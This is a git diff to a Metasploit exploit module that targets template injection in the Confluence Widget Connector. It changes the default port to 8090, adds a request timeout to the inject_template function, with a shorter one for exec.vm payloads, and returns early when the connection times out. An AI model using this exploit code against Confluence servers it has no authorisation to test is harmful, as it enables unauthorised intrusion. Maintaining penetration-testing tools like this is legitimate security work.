diff --git a/modules/exploits/multi/http/confluence_widget_connector.rb b/modules/exploits/multi/http/confluence_widget_connector.rb
index 8546ffcc7e..1d446e880c 100644
--- a/modules/exploits/multi/http/confluence_widget_connector.rb
+++ b/modules/exploits/multi/http/confluence_widget_connector.rb
@@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
         ],
       'DefaultOptions' =>
         {
-          'RPORT' => 80,
+          'RPORT' => 8090,
           'SRVPORT' => 8021,
         },
       'Privileged'     => false,
@@ -197,10 +197,14 @@ class MetasploitModule < Msf::Exploit::Remote
   #
   # @param service_url [String] Address of template to injection.
   # @return [void]
-  def inject_template(service_url)
+  def inject_template(service_url, timeout=20)
 
     uri  = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
 
+    if service_url.include?("exec.vm")
+      timeout=5
+    end
+
     res = send_request_cgi({
       'method' => 'POST',
       'uri' => uri,
@@ -221,11 +225,12 @@ class MetasploitModule < Msf::Exploit::Remote
 
                     }
                   }.to_json
-    })
+    }, timeout=timeout)
 
     unless res
       unless service_url.include?("exec.vm")
         print_warning('Connection timed out in #inject_template')
+        return
       end
     end